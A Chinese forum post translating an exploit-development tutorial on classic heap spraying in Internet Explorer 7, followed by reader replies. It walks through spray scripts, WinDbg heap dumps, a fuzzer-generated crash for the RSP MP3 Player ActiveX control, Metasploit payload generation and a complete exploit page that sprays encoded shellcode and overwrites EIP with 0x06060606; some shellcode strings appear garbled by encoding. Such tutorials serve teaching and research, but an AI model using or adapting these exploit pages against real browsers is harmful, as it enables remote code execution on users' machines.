首页
论坛
专栏
课程

[翻译]Windows Exploit开发系列教程第八部分:堆喷射第一节[覆写EIP]

Netfairy 2016-1-14 15:31 18568
译者:Netfairy
前言
欢迎来到堆喷射教程的第一部分. 这部分我会介绍IE下典型的堆喷射技术, 第二部分会介绍精确喷射和IE8下的UAF漏洞. 值得一提的是, 堆喷射仅仅是一种payload传递技术, 它不能绕过任何漏洞缓解技术. 大多时候对浏览器的漏洞(或者flash,pdf,office)利用会使用这项技术. 缓冲区溢出往往依赖这样的事实:们能够在栈(堆)上分配内存并写入shellcode. 但是像浏览器或ActiveX的漏洞利用你可分配内存更稳定, 不担心坏字符.

浏览器的漏洞利用我比较纠结用immunity还是Windbg调试器. Immunity是一个可视化的调试器, 使用起来更舒适和方便. 但是Windbg更快, 更稳定. 它有些特性很实用(最明显的是实用javascript断点). 我把选择权留给你. Windbg的优势在堆喷射教程的第二部分会更明显.值得一提的是, 用Windbg之前需要先设置符号表. 好, 开始我们的漏洞之旅!

我将用"RSP MP3 Player"介绍这项技术. 之前的一个漏洞利用程序在这里. 当你分析浏览器的漏洞, 常常需要用到不同的版本. 安装IE-Collection即可, 下载. 更新你系统的浏览器到最新版本然后安装IE-Collection.

调试机器:Windows XP SP3 & IE7
漏洞软件:下载

介绍
首先我想给满分 corelanc0d3r所做的工作. “堆喷射揭秘”是非常好并且很有深度的教程, 解释了堆喷射用于payload传递的细节. 我很抱歉使用了 corelanc0d3r 之前做的一些工作, 但我有我的目的:用一个实际的漏洞来解释堆喷射.

我们知道程序栈可利用的空间是有限的. 堆管理器可以动态的分配很大一块内存, 例如程序需要存储临时定义的数据. 堆十分复杂, 我不会解释所有的细节. 但我会给你足够的信息帮助你了解它. 

关于堆分配器有几件事我们需要知道:
(1)由于内存动态分配和释放, 会产生堆碎片. 
(2)堆内存块释放, 会由前端或后端分配器回收(依赖操作系统). 分配器类似于缓存服务那样优化内存块分配. 像之前提到堆分配和释放产生堆碎片(=bad), 为了较少堆碎片, 新分配一块内存时, 堆分配器会直接返回之前释放的一块同样大小的内存. 从而减少了新分配的次数(=good). 
(3)虽然堆内存是动态分配的, 但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的. 连续的分配内存我们就可以在某个可预测的地址上布置我们的数据.

“堆喷射”概念第一次由SkyLined在2004年提出. 当时被用于IE浏览器iframe 缓冲区溢出漏洞利用. 这个通用的技术已经被用于大多数浏览器, IE7, firefox 3.6.24, Opera 11.60. 精确堆喷射将在第二部分介绍.

考虑一下这种情况. 如果一个漏洞(可以控制EIP, UAF, 等等)允许写任意4字节. 我们可以在堆上分配一系列内存块(包含shellcode), 然后利用漏洞实现4字节改写EIP, 就可以跳去执行堆上的代码. Javascript可以直接在堆上分配字符串, 通过巧妙的布置堆我们可以exploit任何的浏览器. 现在主要问题是如何实现稳定的堆分配. 下图应该能给你一些启发:



这足以提起你的兴趣. 首先我们了解堆分配的过程, 接下来我们用它实现ActiveX的漏洞利用.

喷射shellcode块
之前提到, 堆喷射是一种payload传递技术, 它充分利用了javascript的特性. 先让我们在堆上分配一些简单字符串.
<html>
<body>
<script language='javascript'>
 
    var myvar = unescape(
    '%u7546空卹'+   // ASCII
    '捥牵瑩'+   // FuzzySecurity
    '遹');              //
 
    alert("allocation done");
 
</script>
</body>
</html>



下图可以看到我们成功在堆上分配ASCII字符串. 记得用unescape否则我们的字符串将会是UNICODE.
s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc




目前为止还不错, 但记住我们的目标是在堆上连续的分配NOP+Shellcode块. 稍微改变一下JS脚本如下:
<html>
<body>
<script language='javascript'>
  
    size = 0x3E8;  // 1000-bytes
    NopSlide = ''; // Initially set to be empty
  
    var Shellcode = unescape(
    '畆空卹'+   // ASCII
    '捥牵瑩'+   // FuzzySecurity
    '遹');              //
     
    // Keep filling with nops till we reach 1000-bytes
    for (c = 0; c < size; c++){ 
    NopSlide += unescape('邐邐');}
    // Subtract size of shelccode
    NopSlide = NopSlide.substring(0,size - Shellcode.length);
     
    // Spray our payload 50 times
    var memory = new Array();
    for (i = 0; i < 50; i++){
    memory[i] = NopSlide + Shellcode;}
  
    alert("allocation done");
  
</script>
</body>
</html>


本质上来讲我们正在创建一个1000字节payload块, 重复51次. 下面是块的结构:

"\x90"*(1000-len(shellcode)) + shellcode


是时候用Windbg观察分配的情况了. 下面是51个ASCII字符串分配结果. 如果跟踪字符串的分配你会注意到开始的时候分配存在空隙, 但是到后面的话基本上就是连续的.
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................


很好, 不可否认的是我们很幸运得到连续的分配. 接下来需要做什么呢. 
(1)  分配更多的数据填充更多的堆空间(覆写更高的内存地址)
(2)  改变块大小以适应BSTR对象, 是分配更稳定和连续
下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有IE7以下的版本测试结果一致.
<html>
<body>
<script language='javascript'>
 
    var Shellcode = unescape(
    '畆空卹'+   // ASCII
    '捥牵瑩'+   // FuzzySecurity
    '遹');              //
  
    var NopSlide = unescape('邐邐');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    alert("allocation done");
 
</script>
</body>
</html>


这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb), 重复喷喷射500次(=125mb). 考虑到我们的shellcode不太会大于1000字节, 这意味着我们有99.997%的概率命中NOP’s. 这样使得堆喷射更稳定. 让我们在Windbg观察堆喷射:
0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity.. 
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...


!peb看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆). 
另外你可以执行"!heap -stat" 看看已经提交的字节数
0:014> !peb
PEB at 7ffd8000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00251e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
    Ldr.InLoadOrderModuleList:           00251ec0 . 00255918
    Ldr.InMemoryOrderModuleList:         00251ec8 . 00255920
            Base TimeStamp                     Module
          400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
        7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
        7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
        77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
        77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
        767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
        77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
        76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
        76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
    SubSystemData:     00000000
    ProcessHeap:       00150000
    ProcessParameters: 00020000
    CurrentDirectory:  'C:\Documents and Settings\Administrator\Desktop\'
    WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    ImageFile:    'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    CommandLine:  'about:home'
[...Snip...]

让我们打印堆分配数据. 我们可以看到
98.63% 堆块正在使用
0:014> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f4 - f9fc180  (98.63)
    3fff8 3 - bffe8  (0.30)
    1fff8 4 - 7ffe0  (0.20)
    7ffd0 1 - 7ffd0  (0.20)
    7ff8 b - 57fa8  (0.14)
    fff8 5 - 4ffd8  (0.12)
    1ff8 21 - 41ef8  (0.10)
    3ff8 d - 33f98  (0.08)
    ff8 f - ef88  (0.02)
    7f8 18 - bf40  (0.02)
    8fc1 1 - 8fc1  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fd0 1 - 7fd0  (0.01)
    7db4 1 - 7db4  (0.01)
    614 14 - 7990  (0.01)
    57e0 1 - 57e0  (0.01)
    20 208 - 4100  (0.01)
    5e4 b - 40cc  (0.01)
    4e4 c - 3ab0  (0.01)
    3980 1 - 3980  (0.01)
    
我们列出大小为0x7ffe0的块
0:014> !heap -flt s 7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03ad0018 fffc 0000  [0b]   03ad0020    7ffe0 - (busy VirtualAlloc)
        03bf0018 fffc fffc  [0b]   03bf0020    7ffe0 - (busy VirtualAlloc)
        03c80018 fffc fffc  [0b]   03c80020    7ffe0 - (busy VirtualAlloc)
        03d10018 fffc fffc  [0b]   03d10020    7ffe0 - (busy VirtualAlloc)
        03da0018 fffc fffc  [0b]   03da0020    7ffe0 - (busy VirtualAlloc)
        03e30018 fffc fffc  [0b]   03e30020    7ffe0 - (busy VirtualAlloc)
        03ec0018 fffc fffc  [0b]   03ec0020    7ffe0 - (busy VirtualAlloc)
        03f50018 fffc fffc  [0b]   03f50020    7ffe0 - (busy VirtualAlloc)
[...Snip...]
        15110018 fffc fffc  [0b]   15110020    7ffe0 - (busy VirtualAlloc)
        151a0018 fffc fffc  [0b]   151a0020    7ffe0 - (busy VirtualAlloc)
        15230018 fffc fffc  [0b]   15230020    7ffe0 - (busy VirtualAlloc)
        152c0018 fffc fffc  [0b]   152c0020    7ffe0 - (busy VirtualAlloc)
        15350018 fffc fffc  [0b]   15350020    7ffe0 - (busy VirtualAlloc)
        153e0018 fffc fffc  [0b]   153e0020    7ffe0 - (busy VirtualAlloc)
        15470018 fffc fffc  [0b]   15470020    7ffe0 - (busy VirtualAlloc)
        15500018 fffc fffc  [0b]   15500020    7ffe0 - (busy VirtualAlloc)


现在你可能会问告诉你自己:”这很酷, 但是有什么意义呢?”. 一般上如果我们有写任意4字节漏洞. 为了可靠, 我们从来不会用shellcode地址直接覆写指针(例如EIP). 在堆喷射中我们可以决定堆布局. 我们可以在堆中布置NOP’s+shellcode块. 由于某个可预测的地址会指向NOP’s, 所以我们可以用这个地址去覆写, 一旦程序能执行 到NOP’s, shellcode也会得到执行. 下面是通常我们使用的可预测地址, 在调试器看看这些地址的内容.
可预测的地址:
- 0x05050505
- 0x06060606
- 0x07070707
- ....

另外一个具有特殊意义的地址是0x0c0c0c0c, 第二部分将会解释.



0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................


再次重申第一部分只讲典型的堆喷射, 精确喷射会在第二部分将. 为什么需要精确喷射?
(1)  我们需要处理DEP
(2)  我们正在利用UAF类漏洞
所有的准备工作完成, 是时候弹shell了.

崩溃重现

下载RSP MP3 Player 并安装. 转到rspmp3ocx320sw.ocx文件所在文件夹, 执行

regsvr32 rspmp3ocx320sw.ocx


注册.ocx控件. 你能看到一个弹框说文件已经成功注册. 接着下载 COMRaider.  COMRaider是一个很好用的ActiveX Fuzzer工具. 用这个工具可以轻易得到POC. 看看原始的exploit可以知道崩溃出现在OpenFile函数. 如果我们只Fuzzing这个函数会得到14个异常例子. 我没有花时间测试所有的文件,但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃!

COMRaider

OpenFile

Poor Programming

如果我们看下面这个造成崩溃的文件, 可以看到它非常简单, 类似于exploit-db那个.
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
 
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype  = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid     = "RSPMP3_320.RSPMP3"
argCount   = 1
 
arg1=String(1044, "A")
target.OpenFile arg1 
 
</script></job></package>


我花费了一点时间把它从vb转为js. 我们可以控制EIP或SEH .但这不是我们关心的. 我们想要从堆喷射中选一个可预测的指针覆写EIP.
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
     
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>


调试结果如下:

eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
06060606 ??              ???
0:014> d 06060606
06060606  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060616  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060626  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060636  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060646  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060656  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060666  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060676  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????


可以看到EIP被覆盖为0x06060606.(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在0x06060606. 

Shellcode+游戏结束
我们首先生成一些可用的shellcode. 记得将shellcode编码为javascript小端字节序
root@bt:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 255
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Oww Snap!        yes       Messagebox Text (max 255 chars)
TITLE     b33f             yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

⊻꠯⑴壴줱䂱報̕ᕘ삃쵃
緎ڰ꿁鄊餐픏⤣齛싏簭鉄㬤ㅑ瓠
䭽틣扼Ӽ༞蓻휫쾈徛֎핐劈쨼辩
㸣쓣뒗㓲㗦ࣅ更䦢灰虪罵䑱⅏칑
ꉎᓻ庐뫪넇枿⻖㌶닼缨쉎ꮃ
㘧酚㝟᠓ᕳ뭄整䵫黏〯簗䨼ꖻ벑婍
싪唝蚶搮젌朅腷潓˧郍캢
걸琝鏒㛓좥ᓏ酁曰㩮륗鮰⪩蘸
楪Ẻᥱ磣節⮋鯸ꐻ⭋ᓌᩥᦺ閡䀳瞘
퀑▊٪ਝ壄舋



好的, 整理下最后的POC. 增加一些注释和前面创建的堆喷射. 最终的堆喷射脚本如下:
<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray                               //
// Author: b33f - http://www.fuzzysecurity.com/                                 //
// OS: Tested on XP PRO SP3                                                     //
// Browser: IE 7.00                                                             //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/  //
//           16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip          //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial       //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html               //
--------------------------------------------------------------------------------->
 
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
   
    //msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
    var Shellcode = unescape(
    '⊻꠯⑴壴줱䂱報̕ᕘ삃쵃'+
    '緎ڰ꿁鄊餐픏⤣齛싏簭鉄㬤ㅑ瓠'+
    '䭽틣扼Ӽ༞蓻휫쾈徛֎핐劈쨼辩'+
    '㸣쓣뒗㓲㗦ࣅ更䦢灰虪罵䑱⅏칑'+
    'ꉎᓻ庐뫪넇枿⻖㌶닼缨쉎ꮃ'+
    '㘧酚㝟᠓ᕳ뭄整䵫黏〯簗䨼ꖻ벑婍'+
    '싪唝蚶搮젌朅腷潓˧郍캢'+
    '걸琝鏒㛓좥ᓏ酁曰㩮륗鮰⪩蘸'+
    '楪Ẻᥱ磣節⮋鯸ꐻ⭋ᓌᩥᦺ閡䀳瞘'+
    '퀑▊٪ਝ壄舋');
  
    var NopSlide = unescape('邐邐');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    // Trigger crash => EIP = 0x06060606
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>




原文链接:http://www.fuzzysecurity.com/tutorials/expDev/8.html

[防守篇]2018看雪.TSRC CTF 挑战赛(团队赛)11月1日征题开启!

上传的附件:
最新回复 (10)
Netfairy 11 2016-1-14 15:38
2

0

由于上传的代码存在一些乱码,我把pdf文件传上来: 第八部分:堆喷射[第一部分].pdf
上传的附件:
风流花月 2016-10-6 16:40
3

0

您好,请问堆喷射第二部分有上传吗?谢谢
飞龙使者 4 2017-1-12 16:39
4

0

又出了几章,不知道lZ有没有兴趣继续翻译下去?
Netfairy 11 2017-1-13 19:17
5

0

不想翻译了,你可以接着翻译
飞龙使者 4 2017-1-14 22:00
6

0

我翻译就得等到下半年了
自由的翅膀 2017-2-18 09:43
7

0

楼主,在“喷射shellcode块”的以下这部分里,有点疑问


下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有IE7以下的版本测试结果一致.
代码:

<html>
<body>
<script language='javascript'>

    var Shellcode = unescape(
    '畆空卹'+   // ASCII
    '捥牵瑩'+   // FuzzySecurity
    '遹');              //
  
    var NopSlide = unescape('邐邐');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    alert("allocation done");

</script>
</body>
</html>

这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb), 重复喷喷射500次(=125mb). 考虑到我们的shellcode不太会大于1000字节, 这意味着我们有99.997%的概率命中NOP’s. 这样使得堆喷射更稳定. 让我们在Windbg观察堆喷射:  


以上这部分有点疑
1.申请125mb(就是和这里申请500次后同样大小的内存),里面就只在最后放一次shellcode,前面的全部是0x90,这样可不可以呢?像文章中这样布局有什么好处呢?

2.在这500次喷射中,在以上我提出的部分中,布局能否改为0x90+shellcode,就是每次喷射的内存块中,最后部分是shellcode,前面就只用0x90,而不像以上部分这样来布局(实际上我看不明白这样布局的意义),这样可不可以呢?

3.关于提到的0x06060606,0x07070707这样的地址,有什么特殊意义吗?
houjingyi 8 2017-3-2 15:46
8

0

谷歌翻译完了你好歹也读一遍呗,句子都不通顺
Netfairy 11 2017-3-2 15:47
9

0

houjingyi 谷歌翻译完了你好歹也读一遍呗,句子都不通顺
对不起我水平有限,您来。
OMG二黑 2017-3-27 11:26
10

0

Netfairy ,您好,我是安全客的编辑,您的这篇文章质量非常好,我们拟收录到安全客最新一季的季刊当中,不知您那边是否同意?
一只猪儿虫 2018-11-9 22:21
11

0

楼主,第一部分我看懂了,很想知道第二部分在哪里,辛苦啦
返回